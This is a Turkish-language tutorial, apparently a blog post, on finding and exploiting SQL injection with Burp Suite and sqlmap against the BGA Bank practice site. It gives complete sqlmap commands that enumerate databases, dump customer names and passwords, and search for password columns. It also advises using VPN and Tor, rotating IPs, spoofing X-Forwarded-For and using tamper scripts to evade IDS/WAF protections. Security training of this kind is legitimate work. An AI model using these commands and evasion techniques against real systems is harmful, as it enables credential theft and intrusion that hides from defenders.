Veri tabanı ile bağlantılı olabilecek her girdi noktası enjeksiyon için kontrol edilebilir. Öncelikle burp proxy ile kontrol etmek istediğimiz sayfanın haritasını (spider) çıkartarak
enjeksiyon noktaları tesbit edilir.
Site içindeki arama noktaları, login ekranları, çağrılan sayfa adreslerindeki id=1,arama=geometri gibi parametreler, forum alanları gibi veritabanına değer gönderen noktaların hepsi potansiyel sql enjeksiyon noktası olabilir.
Diyelimki bir girdi noktasını incelemeye aldık.( www.bgabank.com adresindeki arama
bölümünü enjeksiyon için kullanalım. Bga Bank sitesi Bilgi Güvenliği Akademisi tarafından güvenlik testleri yapılabilmesi amacıyla oluşturulmuş bir platformdur. Ayrıca yerli olması ve benzer yabancı örneklerinin çok ötesinde olması da gurur vericidir. ipstest.bgabank.com ve waftest.bgabank.com siteleri konumuzda saldırdığımız siteye göre güvenlik uygulamalarıyla desteklenmiştir. Konuyu kavradığınızı düşündüğünüzde bu siteler üzerinden daha profesyonel testler gerçekleştirebilirsiniz.). Burp de “intercept on” açık ve browserdaki proxy ayarları doğru ayarlanmışsa resimdeki gibi arama çalıştırılırsa burp daki “intercept” üzerine arama bölümünden siteye gönderilen isteğimiz gelmiştir. Burp uygulamasındaki Repeater aracıyla bu noktaya normal bir veri gönderek sitenin cevap verip vermediğini kontrol etmeliyiz. (Resimde görüldüğü gibi arama da kullandığımız “deneme” kelimesi s1 değişkeniyle gönderilmektedir. Bu değişkenle oynayarak isteklerimize (Request) sunucudan nasıl cevaplar (Response) geldiğini görebiliriz. Şayet normal bir cevap alıyorsak bu istek sayfanı açtığımız bir txt dosyasına kayderek (uygulamada istek.txt olarak kullanılacak) sqlmap ile enjeksiyon kontrolüne başlayabiliriz.
Aslında Vpn bağlantısı yapılarak tarama yapmak hem gizlilik hem de ip nizin banlanmasına karşı güzel bir tedbir olabilir. Diyelimki enjeksiyon aradığınız site ids ya da waf gibi güvenlik uygulamaları ile korunuyorsa, yanlış yapılan bir işlem ip nizin banlanmasına sebep olabilir. Artık bundan sonra istediğiniz kadar Tamper(ilerde anlatılacak) veya başka tedbirler ile güvenliği geçmeye çalışın sonuç hep aynıdır. Bunun için güvenliği atlatmak için yaptığınız her denemede Vpn ile ip nizi değiştirmeniz gerekir.
-r ile gösterilen txt dosyasında Repeater daki isteğin (Request) içeriği bulunmaktadır.(-u ile direk adrese de enjeksiyon yapılabilir.
Sqlmap -u “isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2= “ –dbs -p s1 –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql )
–dbs sistemde açık varsa veritabanı isimlerini almanızı sağlar
-p s1 istek içindeki enjeksiyon için kullanılan değişkendir.( Yazılmazsa istek deki tüm değişkenler enjeksiyonda kullanılır.)
–random-agent bazı güvenlik uygulamaları agent bilgisini kontrol etmektedir. Agent bilgisi olmayan bağlantı istekleri banlanmaktadır. Sadece agent bilgisi değil tüm http header bilgisini kontrol eden uygulamalar da vardır. (Örneğin burp repeaterda gönderilen istek sorunsuz cevaplanıyor, sqlmap daki hata veriyorsa tüm headar bilgileri isteniyor olabilir.) Bu durumda sqlmap daki –header parametresi kullanılarak header bilgileri aynen kullanılabilir.
–batch bazı durumlarda çıkan yes no için sqlmap otomatik olarak cevap vererek zaman ve hız kazanmanızı sağlar.
–level=3 –risk=3 level ve risk sitenin güvenlik düzeyine göre değişebilir. Basit sitelerde güvenlik uygulaması kullanılmadığından bu parametreleri kullanmaya gerek bile kalmazken. Güvenliği yüksek sitelerde level=5 risk=3 son sınırına kadar kullanılabilir. Aslında herhangi bir enjeksiyon noktasını önce bu parametreleri kullanmadan test etmeli sonuç alamadıkça (her seferinde ip değiştirerek) level ve risk parametrelerini arttırarak denemeyi sürdürmeliyiz.
–tamper burp repeaterda gönderilen isteğin aynısını gönderdiniz ve hala bağlantınız engelleniyorsa o zaman sqlmap in payload larına alerjisi olan güvenlik uygulamalarına takılmış olma ihtimaliniz yüksektir. İşte tam bu nokta da tamper scriptleri devreye girip payloadları tanımaz hale getirerek güvenlik uygulamalarını atlatmaya çalışır. Güvenlik uygulamasının mekanizmasını bilmediğiniz sürece eldeki mevcut scriptleri kullanarak (-v 3 tavsiye edilir. Çünkü değişip gönderilen payload ın takılıp takılmadığını görmek gerekir. 404 veya 500 gibi hatalar verenler takılmış demektir.) yeniden her seferinde ip yi de değiştirerek denemek gerekir, taki payloadların karşı tarafa sorunsuz gittiğini görene kadar. Payloadlar gitmiyorsa güvenlik aşılamamış demektir. Bir de aynı ip den belli sayıda bağlantı isteğine izin veren güvenlik uygulamaları vardır. Diyelimki 100 kez sayfadan istekte bulundunuz. Güvenlik ip nizi kara listeye alarak girişlerinizi engelleyebilir. Bunun içinde tamper scriptleri içinde xforwardedfor scriptini kullanarak ip değişmiş gibi gösterebiliriz.
–dbms de ise sitenin hangi veritabanını kullandığı yazılır. Bilmiyorsak kullanmaya biliriz. Yada herseferinde mysql, oracle,mssql gibi veri tabanı adlarını sırayla deneriz.
Yukarıda kullanmadığımız parametrelerden de bahsedecek olursak.
–all şayet açık varsa herşeyi otomatik yapıp tüm verileri çıkartan bir parametre (bol vaktiniz varsa)
–crawl sitedeki get türündeki enjeksiyon noktalarını bulup otomatik olarak denemeler yapar. Aslında basit siteler için idealdir. Mesela –crawl=2 yazdığınızda site içindeki linkleri 2. seviye derinliğe kadar inceler. Enjeksiyon noktası varsa bulup açık arar. Güvenlik konularına yeni başladıysanız idealdir. Basit sitelerde açık varsa affetmez.
–flush-session yapılan her enjeksiyon sonraki denemelerde hızlı sonuçlar almak için bilgisayara kaydedilmektedir. Şayet veritabanına ulaşılmamışsa eski enjeksiyon bilgileri bu parametre ile silinerek daha sorunsuz taramalar yapılabilir.
–technique bu parametre de girilmesi düşünülen veri tabanına hangi teknik ile saldırılacağı verilebilir.
–time-sec bağlantınız yavaş ise bu değer artırılabilir. Örneğin tor üzerinden saldırı yapıldığında otomatik olarak time-sec=10 olarak ayarlanır.
–tor –tor-type=socks5 –tor-port=9150 parametreleri ile sisteminizde tor açık ise tüm saldırıları tor üzerinden yapabilirsiniz. Vpn bağlantısı altında tor üzerinden yapılan saldırılar güvenlik için idealdir.
–no-cast –hex veritabanına ulaştık ama veriler çekilemiyorsa bu seçenekleri de ayrı ayrı deneyebiliriz.
–sql-shell sistemde açık varsa veri tabanında sql sorgulamaları yapabileceğiniz shell açılır. Kısaca sql komutlarını biliyorsanız basit sorgular ile istediğiniz herhangi bir veriyi veritabanından çekebilirsiniz.
–data enjeksiyon noktası post ile sunucuya veri gönderiyorsa bu parametrede post daki data olmalıdır. Başta anlatıldığı gibi -r istek.txt ile tarama yaparken GET, POST farketmez. Ama -u ile direk adrese enjeksiyon yapıyorsanız GET lerde sorun olmaz ama POST isteklerinde –data ile post verisini göstermelisiniz.
Şayet post üzerinden -u ile saldırı yapılacaksa komutumuz şöyle olmalıdır.
Sqlmap -u “isube.bgabank.com/giris.aspx” –data=“b_musterino=12345678&b_password=densifre” –dbs -p b_musterino –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql
Gelelim en başta yazdığımız -r istek.txt ile yapılan saldırı sonucuna
available databases [6]:
[*] bga_bank_4_0
[*] honeypot
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
Veri tabanlarını bulduk. Sıra tabloları ve kolonları çıkarmaya geldi.
root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -D bga_bank_4_0 –tables -p s1 –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql
istediğimiz tablonun istediğimiz kolonunu çıkartıyoruz.
root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -D bga_bank_4_0 -T bnk_musteriler –columns -p s1 –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql
Artık tablodan kolonlara oradan da ad, soyad ve sifrelere ulastik. Şimdi sifreleri alma zamanı
root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -D bga_bank_4_0 -T bnk_musteriler -C m_adi,m_soyadi,m_sifre -p s1 –random-agent –batch –level=3 –risk=3 –tamper=space2comment –dbms=mysql –dump –start=1 –stop=50
Veri tabanına ulaştık diyelimki yukarıdaki gibi 6 yerine 26 tane veri tabanı çıktı ve isimlerinden ne olduğunu ne iş için kullanıldığını anlamıyorsunuz. O zaman hassas veriler için tüm veritabanında arama yapmalısınız.
root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -p s1 –random-agent –level=3 –risk=3 –tamper=space2comment –dbms=mysql –search -C ‘password’
–search ile herhangi bir veri ismini tüm veritabanlarında aratabiliriz. Örneğimizde ‘password’ ismi veritabanlarında aratılmıştır. Yalnız arama yaparken –batch ı sildiğimi farketmişsinizdir. –search ile arama yaparken karşımıza iki seçenek çıkıyor.
–batch ile devam ederseniz ilk seçeneği default olarak alacağından içerisinde ‘password’ geçen (mypassword gibi) verileri listeleyecektir. İkinci seçeneği seçtiğim için veri isimleri içinde sadece ‘password’ olanları listelemesini istedim.
Mysql veritabanında user tablosundaki password kolonlarının dökümü yapıldı. –search komutuntan sonra –C ‘password’ yazdığımızdan password u kolonlarda(columns) aradı. –T ‘password’ yazsaydık tüm veritabanlarındaki tablolarda kelimemizi arayacaktı.
Diyelim ki ad,soyad ve şifrelerin olduğu bölüme ulaştınız mesela 1500 kişi den oluşan geniş bir veri ile karşılaştık. Bu veriler içinden soyadı “yil” ile başlayanların dökümünü nasıl yaparız. İşte burada –where komutu devreye giriyor. Aynı sql deki gibi kullanabiliyoruz.
root@COMPUTER:~# sqlmap -r /root/Desktop/istek.txt -p s1 –random-agent –level=3 –risk=3 –tamper=space2comment –dbms=mysql -D bga_bank_4_0 -T bnk_musteriler -C m_adi,m_soyadi,m_sifre –where=”m_soyadi like ‘yil%'” –dump
Sqlmap parametrelerini ileri seviye incelemek isterseniz
- http://blog.btrisk.com/2015/10/DVWA-Security-LAB-Web-Uygulama-Guvenlik-Testleri.html
- http://blog.bga.com.tr/2013/03/szma-testlerinde-ileri-seviye-sqlmap.html
- http://osmanercelik.com/sqlmap-komutlari-kullanimi-ve-ornekleri/
- https://www.trustwave.com/Resources/SpiderLabs-Blog/Sqlmap-Tricks-for-Advanced-SQL-Injection/
- https://github.com/sqlmapproject/sqlmap/wiki/Usage